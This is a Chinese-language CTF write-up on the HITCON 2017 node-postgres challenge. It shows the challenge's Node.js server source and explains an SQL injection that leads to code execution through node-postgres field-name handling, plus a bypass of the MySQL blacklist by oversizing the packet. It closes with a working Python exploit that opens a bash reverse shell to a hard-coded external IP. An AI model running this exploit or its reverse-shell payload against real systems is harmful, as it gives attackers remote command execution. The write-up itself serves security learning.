postgres数据库+ nodejs导致的命令注入
    文章:https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html#0x03-bug
    源码

    1. /**
    2. * @HITCON CTF 2017
    3. * @Author Orange Tsai
    4. */
    5. const qs = require("qs");
    6. const fs = require("fs");
    7. const pg = require("pg");
    8. const mysql = require("mysql");
    9. const crypto = require("crypto");
    10. const express = require("express");
    11. const pool = mysql.createPool({
    12. connectionLimit: 100,
    13. host: "localhost",
    14. user: "ban",
    15. password: "ban",
    16. database: "bandb",
    17. });
    18. const client = new pg.Client({
    19. host: "localhost",
    20. user: "userdb",
    21. password: "userdb",
    22. database: "userdb",
    23. });
    24. client.connect();
    25. const KEYWORDS = [
    26. "select",
    27. "union",
    28. "and",
    29. "or",
    30. "\\",
    31. "/",
    32. "*",
    33. " "
    34. ]
    35. function waf(string) {
    36. for (var i in KEYWORDS) {
    37. var key = KEYWORDS[i];
    38. if (string.toLowerCase().indexOf(key) !== -1) {
    39. return true;
    40. }
    41. }
    42. return false;
    43. }
    44. const app = express();
    45. app.use((req, res, next) => {
    46. var data = "";
    47. req.on("data", (chunk) => { data += chunk})
    48. req.on("end", () =>{
    49. req.body = qs.parse(data);
    50. next();
    51. })
    52. })
    53. app.all("/*", (req, res, next) => {
    54. if ("show_source" in req.query) {
    55. return res.end(fs.readFileSync(__filename));
    56. }
    57. if (req.path == "/") {
    58. return next();
    59. }
    60. var ip = req.connection.remoteAddress;
    61. var payload = "";
    62. for (var k in req.query) {
    63. if (waf(req.query[k])) {
    64. payload = req.query[k];
    65. break;
    66. }
    67. }
    68. for (var k in req.body) {
    69. if (waf(req.body[k])) {
    70. payload = req.body[k];
    71. break;
    72. }
    73. }
    74. if (payload.length > 0) {
    75. var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
    76. } else {
    77. var sql = `SELECT ?,?,?`;
    78. }
    79. return pool.query(sql, [ip, payload, payload], (err, rows) => {
    80. var sql = `SELECT * FROM blacklists WHERE ip=?`;
    81. return pool.query(sql, [ip], (err,rows) => {
    82. if ( rows.length == 0) {
    83. return next();
    84. } else {
    85. return res.end("Shame on you");
    86. }
    87. });
    88. });
    89. });
    90. app.get("/", (req, res) => {
    91. var sql = `SELECT * FROM blacklists GROUP BY ip`;
    92. return pool.query(sql, [], (err,rows) => {
    93. res.header("Content-Type", "text/html");
    94. var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
    95. for(var r in rows) {
    96. html += `${parseInt(r)+1}. ${rows[r].ip}\n`;
    97. }
    98. return res.end(html);
    99. });
    100. });
    101. app.post("/reg", (req, res) => {
    102. var username = req.body.username;
    103. var password = req.body.password;
    104. if (!username || !password || username.length < 4 || password.length < 4) {
    105. return res.end("Bye");
    106. }
    107. password = crypto.createHash("md5").update(password).digest("hex");
    108. //这里是注入点
    109. var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
    110. return client.query(sql.split(";")[0], (err, rows) => {
    111. if (rows && rows.rowCount == 1) {
    112. return res.end("Reg OK");
    113. } else {
    114. return res.end("User taken");
    115. }
    116. });
    117. });
    118. app.listen(31337, () => {
    119. console.log("Listen OK");
    120. });

    在node-postgres中,执行完查询语句后会返回查询的字段名称和数量
    node后端会把字段的名称经过不完整的转义就拼接到Function类,这样在前端就会导致XSS
    在后端就会导致命令执行

    如果我们输入的请求中带入了黑名单上面的词,ip就会被加入黑名单中,然后进入waf

    经过测试,当SQL语句超过16m的时候就会触发错误,max_allowed_packet错误的原因是因为mysql限制了最大数据包的大小,如果我们构造了一个足够长的数据包,就会导致插入错误

    #!/usr/bin/env python
    # encoding: utf-8
    
    from random import randint
    import requests
    payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/bin/bash -i >& /dev/tcp/97.64.111.133/12345 0>&1`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
    username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
    data = {
                'username': username+payload,
                'password': 'AAAAAA'
           }
    print 'ok'
    url='http://127.0.0.1:31337/reg'
    #url='http://13.113.21.59:31337/reg'
    r = requests.post(url, data=data);
    print r.content